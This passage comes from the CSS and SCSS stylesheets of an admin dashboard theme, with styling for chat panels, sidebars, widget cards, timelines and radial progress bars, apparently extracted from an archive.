border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); } .wrapper .page-wrap .chat-panel .card .card-header { background: none; padding: 1.07143em 1.42857em; font-size: 1.14286em; border-bottom: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-body { padding: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages { position: relative; max-height: 21.42857em; overflow-y: scroll; margin-top: -1.07143em; margin-right: -1.07143em; margin-left: -1.07143em; padding-top: 1.07143em; padding-right: 1.07143em; padding-left: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message { margin: 0.71429em 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child { margin-top: 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; margin: 0; position: relative; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img { width: 30px; height: 30px; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body { margin-top: .5em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; margin: auto 1.5em; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p { background: #404E67; border: 1px solid #404E67; border-radius: 3px; padding: .5em 1em; color: #fff; margin-bottom: .5em; position: relative; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; top: 1.25rem; right: -7px; left: auto; border-style: solid; border-width: 6px 0 7px 6px; border-color: transparent transparent transparent #404E67; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { right: -7px; border-left-color: #404E67; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p { background: #fff; border: 1px solid #eef1f2; border-radius: 0; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-radius: 3px; color: #666; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { left: -9px; border-right-color: #eef1f2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-footer { background: none; padding: 1.07143em 1.42857em; border-top: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-footer .list-icon { font-size: 1.125rem; } .wrapper .page-wrap .chat-panel .card .card-footer textarea { box-shadow: none; resize: none; padding: 0; width: 100%; min-height: auto; padding: 5px 0; } .wrapper.nav-collapsed .header-top { padding-left: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar { width: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover { width: 240px; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel { display: block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before { display: inline-block; } .wrapper.nav-collapsed .page-wrap .main-content { padding-left: 75px; } .wrapper.nav-collapsed .page-wrap .footer { padding-left: 90px; } .wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } .wrapper.right-sidebar-expand .right-sidebar { -moz-transform: translateX(0); -o-transform: translateX(0); -ms-transform: translateX(0); -webkit-transform: translateX(0); transform: translateX(0); } .wrapper.right-sidebar-expand .chat-panel { -moz-transform: translateY(-100%) translateX(0); -o-transform: translateY(-100%) translateX(0); -ms-transform: translateY(-100%) translateX(0); -webkit-transform: translateY(-100%) translateX(0); transform: translateY(-100%) translateX(0); } hr { box-sizing: content-box; height: 0; margin-top: 1rem; border: 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline { position: relative; padding-left: 40px; margin: 40px 10px 0 30px; border-left: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline .sl-item { margin-top: 8px; margin-bottom: 30px; } .profiletimeline .sl-item .sl-left { float: left; margin-left: -60px; z-index: 1; margin-right: 15px; } .profiletimeline .sl-item .sl-left img { max-width: 40px; } .profiletimeline .sl-item .sl-right .sl-date { font-size: 12px; color: #afb5c1; } .dd-handle { background: #f7f7f7; border-radius: 3px; padding: 20px; position: relative; display: block; text-decoration: none; margin: 5px 0; overflow: hidden; } .dd-handle p { margin: 0; } .dd-handle:after, .dd-handle::after { content: ''; width: 5px; height: 100%; position: absolute; top: 0; left: 0; } .dd-list { margin: 0; padding: 0; list-style: none; } .dd-list .dd-placeholder, .dd-list .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dd-list .dd-list { padding-left: 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); } .todo-task .dd-handle:after, .todo-task .dd-handle::after { background-color: #f5365c !important; } .progress-task .dd-handle:after, .progress-task .dd-handle::after { background-color: #F7CA18 !important; } .completed-task .dd-handle:after, .completed-task .dd-handle::after { background-color: #26C281 !important; } [class*="user--"]::after { height: 0.64286em; width: 0.64286em; display: block; position: absolute; top: 0; right: 10%; border-radius: 100px; content: ""; -webkit-box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 2px #fff; } .user--online:after { background: #06d6a0; } .user--busy:after { background: #ff3333; } .user--offline:after { background: #bbb; } /*# sourceMappingURL=theme.css.map */ scss/_widgets.scss000064400000217103151676723140010241 0ustar00.widget { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; background-color: #fff; overflow: hidden; @include box-shadow(0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06)); @include transition(all 0.5s ease-in-out); @include border-radius(4px); .widget-header { padding: 10px 20px; border-bottom: 1px solid #f5f7f9; position: relative; .widget-title { font-size: 18px; margin: 0; } .widget-tools { position: absolute; right: 10px; top: 5px; .btn-widget-tool { padding: 5px; font-size: 16px; background: transparent; color: #97a0b3; i { margin: 0; } &:focus { @include box-shadow(none); } } } } .widget-body { padding: 20px 20px; h6 { margin-bottom: 0; font-weight: 400; } h2 { margin-bottom: 0px; font-weight: 600; } .icon { font-size: 37px; color: #9aa0ac; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.22); text-align: center; z-index: 3; @include flexbox(); @include justify-content(center); @include align-items(center); @include flex-direction(column); i { font-size: 32px; color: #ef4153; margin-bottom: 5px; } } } .progress { border-radius: 0; } &[class*=bg-] { .widget-header { background-color: rgba(255, 255, 255, 0.2); border-bottom-color: transparent; .widget-title { color: #fff; } .widget-tools { .btn-widget-tool { color: rgba(255, 255, 255, 0.6); } } } .widget-body { color: $white; .icon { color: $white; } } } &.social-widget { .widget-body { text-align: center; } } } .loading { -webkit-animation-name: loading; animation-name: loading; -webkit-animation-duration: .75s; animation-duration: .75s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-timing-function: linear; animation-timing-function: linear; } @-webkit-keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } to { -webkit-transform: rotate(1turn); transform: rotate(1turn) } } @keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg) } to { -webkit-transform: rotate(1turn); transform: rotate(1turn) } } .card-group { .card { &:not(:last-child) { border-right: 1px solid #f1f1f1; } } } .card { .card-header { border-bottom: 1px solid #f1f1f1; .card-header-right { right: 10px; top: 16px; display: inline-block; float: right; position: absolute; .card-option { width: 35px; height: 25px; overflow: hidden; margin: 0; @include transition(0.3s ease-in-out); li { display: inline-block; i { margin: 0 5px; cursor: pointer; font-size: 15px; color: #8c8c8c; line-height: 2; font-weight: 300; } } } } } .card-block { padding: 1.25rem; } .card-body { .icon { font-size: 37px; color: #9aa0ac; } } .feeds-widget { padding: 0; .feed-item { display: block; padding: 12px 15px; border: 1px solid #efefef; border-left: 0; border-right: 0; a { @include flexbox(); @include align-items(center); .feeds-left { width: 50px; font-size: 30px; } .feeds-body { width: 100%; h4 { font-size: 16px; margin: 0; font-weight: 700; margin-bottom: 5px; &~small { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width: calc(100% - 60px); font-size: 13px; color: #777; } } } } &.feed-item { margin-top: -1px; } } } .timeline { .header { background-size: cover; color: #fff; position: relative; .color-overlay { padding: 2em; box-sizing: border-box; background: rgba(123,94,155,0.5); line-height: normal; .day-number { font-size: 6em; margin-right: 15px; display: inline-block; font-weight: 700; line-height: 1; } .date-right { display: inline-block; .day-name { font-size: 22px; } .month { text-transform: uppercase; margin-top: 2px; } } } } ul { list-style: none; position: relative; padding-left: 30px; padding-top: 10px; margin: 0; @include pseudo-element('before') { content: ' '; height: 100%; width: 1px; background-color: #f0f0f0; position: absolute; top: 0; left: 35px; z-index: 1; } li { padding-bottom: 15px; .bullet { width: 10px; height: 10px; display: inline-block; z-index: 2; position: relative; vertical-align: top; margin: 7px 0; margin-right: 5px; @include border-radius(50%); } .time { width: 20%; font-size: 10px; margin: 6px 0; vertical-align: top; display: inline-block; } .desc { width: 65%; display: inline-block; h3 { margin: 0; font-size: 14px; font-weight: 700; } h4 { margin-top: 5px; font-size: 12px; color: #999; } } } } } .task-list { margin: 0; padding: 0; li { display: block; padding: 15px 0 15px 0; margin: 0; cursor: pointer; &:first-child { padding-top: 0; } &.list { span { float: left; margin-top: 20px; color: #FF7E39; @include pseudo-element('before') { font-size: 1.5rem; content: "\e83f"; font-family: 'iconkit'; vertical-align: middle; border: 3px solid #FF7E39; padding: 4px; @include border-radius(50%); } } .task-details { margin-left: 60px; p { margin: 0; padding: 10px 0 6px 0; line-height: 140%; &.date { padding: 0; margin: 0; font-size: .75rem; } } } } &.completed { text-decoration: line-through; color: #8796af; @include transition(all 0.3s ease-out); span { @include pseudo-element('before') { color: #50b924; border: 3px solid #50b924; } } } } } .chat-box { .chat-list { margin: 0; padding: 0; list-style: none; .chat-item { list-style: none; margin-top: 30px; .chat-img { display: inline-block; width: 45px; vertical-align: top; img { width: 45px; @include border-radius(100%); } } .chat-content { width: calc(100% - 50px); display: inline-block; padding-left: 15px; .box { display: inline-block; padding: 10px; margin-bottom: 3px; color: #343a40; background: #f6f8f9; @include border-radius(6px); } } .chat-time { display: block; font-size: 10px; color: #4F5467; margin: 5px 0 15px 65px; } &.odd { .chat-content { text-align: right; width: calc(100% - 0px); .box { clear: both; color: #fff; background: #137eff; } } .chat-time { text-align: right; } &+.odd { margin-top: 0; } } &:first-child { margin-top: 0; } } } } .chat-footer { position: relative; background-color: $white; .input-wrap { padding-right: 50px; } .btn { position: absolute; top: 10px; right: 20px; width: 35px; height: 35px; } } .card-title { font-size: 18px; } .card-subtitle { font-weight: 300; margin-bottom: 10px; color: #afb5c1; } } .jvectormap-tip { border: none; font-family: 'Nunito Sans', sans-serif; font-weight: 700; padding: 5px 10px; font-size: 11px; } .chart-line { .ct-grid { stroke-dasharray: 0; stroke: rgba(256, 256, 256, 0.5); } .ct-point { stroke-width: 0; } .ct-line { stroke: #FFF; stroke-width: 3px; } } .chart-shadow { transition: all 0.3s ease-in-out; filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2)); } .card { // &:hover { // .chart-shadow { // filter: drop-shadow(0px 4px 1px rgba(43, 43, 43, 0.2)); // transform: translatey(5px); // } // } &-blue, &-green, &-red, &-yellow { position: relative; overflow: hidden; &:after { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 1; } .card-block, .card-block-big, .card-block-small, .card-body, .card-footer, .card-header { position: relative; z-index: 5; } } &-red { &::after { background: $danger; } .ct-line { stroke: #fff; } .ct-grid { stroke: lighten($danger,15%); } } &-blue { &::after { background: $primary; } .ct-line { stroke: #fff; } .ct-grid { stroke: lighten($primary,15%); } } &-green { &::after { background: $success; } .ct-line { stroke: #fff; } .ct-grid { stroke: lighten($success,15%); } } &-yellow { &::after { background:$warning; } .ct-line { stroke: #fff; } .ct-grid { stroke: lighten($warning,15); } } } .proj-progress-card { .progress { height: 6px; overflow: visible; margin-bottom: 10px; .progress-bar { position: relative; &:after { content: ""; background: #fff; position: absolute; right: -6px; top: -4px; border-radius: 50%; width: 15px; height: 15px; } &.bg-red:after { border: 3px solid $danger; // box-shadow: 0 0 0 5px transparentize($danger-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18); } &.bg-blue:after { border: 3px solid $primary; // box-shadow: 0 0 0 5px transparentize($primary-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18); } &.bg-green:after { border: 3px solid $success; // box-shadow: 0 0 0 5px transparentize($success-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18); } &.bg-yellow:after { border: 3px solid $warning; // box-shadow: 0 0 0 5px transparentize($warning-color, 0.5),0 10px 7px 0 rgba(62, 57, 107, 0.18); } } } @media only screen and (max-width: 992px) { h6 { margin-top: 15px; } .progress { margin-bottom: 30px; } } } .sos-st-card { h3 { display: inline-block; i { color: #fff; font-size: 18px; width: 60px; height: 60px; border-radius: 50%; padding: 12px 0; text-align: center; margin-right: 15px; border: 10px solid transparent; transition: all 0.3s ease-in-out; } } h5 { position: relative; &:after { content: ""; background: #d2d2d2; position: absolute; top: -20px; right: -15px; width: 1px; height: 60px; } } &.facebook { h3 { color: $facebook; i { background-color: $facebook; border-color: lighten($facebook,25%); } } } &.twitter { h3 { color: $twitter; i { background-color: $twitter; border-color: lighten($twitter,25%); } } } &.linkedin { h3 { color: $linkedin; i { background-color: $linkedin; border-color: lighten($linkedin,25%); } } } &.dribble { h3 { color: $dribbble; i { background-color: $dribbble; border-color: lighten($dribbble,25%); } } } &:hover { h3 i { transform: scale(1.2) rotate(35deg); } } @media only screen and (max-width: 768px) { h3 { i { font-size: 16px; width: 35px; height: 35px; padding: 7px 0; margin-right: 0; border-width: 3px; margin-left: -10px; } } h5 { &:after { display: none; } } } } .wather-card { overflow: hidden; .wather-card-top { position: relative; overflow: hidden; min-height: 200px; background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5)); .wave { position: absolute; left: 0; right: 0; top: auto; bottom: 0; z-index: 1; + .wave { z-index: 2; + .wave { z-index: 3; } } } .sun { background: #fff; position: absolute; top: 50px; left: 50px; width: 30px; height: 30px; border-radius: 50%; &:after, &:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } &:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } &:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } } .w-star1, .w-star2 { position: absolute; top: 0; left: 0; width: 100%; } .w-star1 { animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .w-star2 { animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .w-cloud { position: absolute; right: 30px; top: 60px; opacity: 0; animation: w-cluod 15s linear infinite; } } } @keyframes w-cluod { 0% { opacity: 0; transform: translate(0px,0px); } 20% { opacity: 0.8; transform: translate(30px,-25px); } 40% { opacity: 1; transform: translate(0px,0px); } 60% { opacity: 0.6; transform: translate(-30px,25px); } 80% { opacity: 0.5; transform: translate(0px,0px); } 80% { opacity: 0; transform: translate(0px,0px); } } @keyframes sparcle { 0% { opacity: 1; } 50% { opacity: 0; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } .comp-card { i { color: #fff; width: 50px; height: 50px; border-radius: 5px; text-align: center; padding: 17px 0; font-size: 18px; text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18); transition: all 0.3s ease-in-out; } &:hover { i { border-radius: 50%; } } } .proj-t-card { position: relative; overflow: hidden; .pt-badge { color: #fff; margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18); } &:hover { .pt-badge { padding: 65px 55px 30px 30px; text-shadow: 0 3px 5px rgba(62, 57, 107, 0.50); box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.30); } } } .prod-p-card { i { background-color: #fff; width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 18px; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px rgba(62, 57, 107, 0.20); } &:hover { i { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.20); transform: scale(0.9) translatey(5px); } } } .ticket-card { .lbl-card { box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16); border-radius: 5px; padding: 5px 15px; color: #fff; display: inline-block; } } .analytic-card { .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } &:hover { .analytic-icon { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.20); transform: rotate(-15deg) translatey(5px); } } } .social-res-card { .progress { height: 6px; } } .product-progress-card { .progress { height: 6px; } .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; &:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } } .pp-main > div:first-child { .pp-cont:after { display: none; } } @media only screen and (max-width: 992px) { .pp-cont { margin-top: 15px; margin-bottom: 15px; &:after { display: none; } } } } .social-card { h2 { text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2); transition: all 0.3s ease-in-out; } &:hover { h2 { text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2); transform: scale(0.9) translatey(5px); } } } .user-card { overflow: hidden; .user-img { border-radius: 50%; display: flex; align-items: center; width: 80px; height: 80px; margin: 0 auto; position: relative; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); h5 { margin: 0 auto; } .link-share { position: absolute; padding: 4px 0; right: 0; bottom: 0; border-radius: 50%; width: 25px; height: 25px; background: #fff; color: #666; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } } .user-sub-img { position: relative; margin: 30px 0 10px; padding-top: 30px; > img { width: 30px; cursor: pointer; margin: 5px; } &:after { content: ""; width: 30px; height: 1px; background: #2b2b2b; position: absolute; top: 0; right: calc(50% - 15px); } } .f-btn { cursor: pointer; transition: all 0.3s ease-in-out; a { transition: all 0.3s ease-in-out; } &:hover { background-color: lighten($primary,30%); box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); a { color: $primary; } } } } .soc-cont-card { color: #fff; position: relative; overflow: hidden; .soc-slider { margin-right: 85px; } .soc-cont-icon { color: #fff; font-size: 50px; width: 100px; text-align: center; position: absolute; right: 0; top: 20px; } .num-block { background: #fff; color: $theme; padding: 8px 15px; display: inline-block; margin: 5px 0 10px; border-radius: 5px; box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); +.num-block { margin-left: 15px; } i { font-size: 16px; opacity: 1; } } .card-block { margin-bottom: 20px; padding-bottom: 10px; } &:after { content: ""; background: rgba(256,256,256,0.5); // border-top: 1px solid rgba(256,256,256,0.5); height: 20px; width: 100%; position: absolute; bottom: 0; left: 0; } @media only screen and (max-width: 575px) { .soc-slider { margin-right: 0; } .soc-cont-icon { font-size: 40px; width: 50px; top: auto; bottom: 35px; } } } .st-cir-card { position: relative; overflow: hidden; .st-bt-lbl { font: { size: 60px; weight: 700; } opacity: 0.3; position: absolute; bottom: -30px; right: -5px; } .st-cir-chart { position: relative; h5 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%,-50%); } } .ct-series-a .ct-slice-donut{ stroke: #fff; } &.card { &-red { .ct-series-b path { stroke: lighten($danger,20%); } } &-blue { .ct-series-b path { stroke: lighten($primary,20%); } } &-green { .ct-series-b path { stroke: lighten($success,20%); } } &-yellow { .ct-series-b path { stroke: lighten($warning,20%); } } } } .prod-bar-card { .pbc-chart { width: 50px; margin: 0 auto 10px; } .radial-bar:after { box-shadow: 0 0 3px #fff; } } .sale-card { .s-chart { position: relative; .bottom-line { background: #ccc; position: absolute; width: 80px; height: 3px; bottom: 30px; left: 50%; transform: translatex(-50%); } } .radial-bar { margin: 15px 0 35px; > img { box-shadow: 0 0 0 8px #fff; } } .s-caption { width: 20px; height: 20px; border-radius: 5px; display: inline-block; vertical-align: super; margin-right: 5px; } .progress { height: 5px; } .tot-rev-chart { position: relative; margin: 0 auto; .ct-series-b path { stroke: #fff; } .ct-series-a .ct-slice-donut { stroke: $warning; } h3 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } } } .new-cust-card { img { border: 2px solid #fff; box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); } h6 { margin-bottom: 0; } .align-middle { position: relative; .status { position: absolute; right: 0; top: 19px; font-size: 13px; &.active { width: 10px; height: 10px; border-radius: 50%; background: $success; } } } } .table-card { .card-block { padding-left: 0; padding-right: 0; padding-top: 0; .table { > thead > tr > th { border-top: 0; } tr { td, th { &:first-child { padding-left: 20px; } &:last-child { padding-right: 20px; } } } &.without-header { tr { &:first-child { td { border-top: none; } } } } } } .p-status { width: 10px; height: 10px; border-radius: 50%; } } .latest-update-card { .card-block { padding-top: 0; .latest-update-box { position: relative; &:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 19px; z-index: 1; } .update-meta { z-index: 2; .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; &.bg-red { box-shadow: 0 0 0 4px transparentize($danger, 0.5),; } &.bg-blue { box-shadow: 0 0 0 4px transparentize($primary, 0.5); } &.bg-green { box-shadow: 0 0 0 4px transparentize($success, 0.5); } &.bg-yellow { box-shadow: 0 0 0 4px transparentize($warning, 0.5); } &.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; margin-left: 13px; background: #fff; } } i.update-icon { margin-left: 4px; margin-right: 19px; } img.update-icon { padding: 0; width: 40px; height: 40px; } } @media only screen and (max-width: 575px) { &:after { display: none; } .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } } } } .testimonial-card { .progress { height: 5px; } .review-block { .cust-img { width: 50px; height: 50px; } > div { padding-top: 15px; padding-bottom: 15px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; &:hover { background-color: transparentize($primary, 0.9); } } } } .feed-card { h6 { margin-top: 7px; } .feed-icon { color: #fff; border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } } .chat-card { .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } } .received-chat { .msg { background: transparentize($primary, 0.9); border-radius: 0 5px 5px 5px; box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); &:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: transparentize($primary, 0.9); } } } .send-chat { text-align: right; .msg { background: transparentize($success, 0.9); border-radius: 5px 0 5px 5px; box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); &:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: transparentize($success, 0.9); } } } } /* ------------------------------------- * Bar container * ------------------------------------- */ .radial-bar { position: relative; display: inline-block; border-radius: 50%; background-color: transparent; margin-bottom: 20px; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 80px; height: 80px; font-size: 18px; } .radial-bar:after, .radial-bar > img { display: inline-block; position: absolute; top: 0; left: 0; border-radius: 50%; text-align: center; font-weight: 500; color: #455a64; } .radial-bar:after { content: attr(data-label); background-color: #fff; z-index: 55; } .radial-bar > img { z-index: 102; } .radial-bar:after, .radial-bar > img { width: 56px; height: 56px; margin-left: 12px; margin-top: 12px; line-height: 56px; } .radial-bar.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 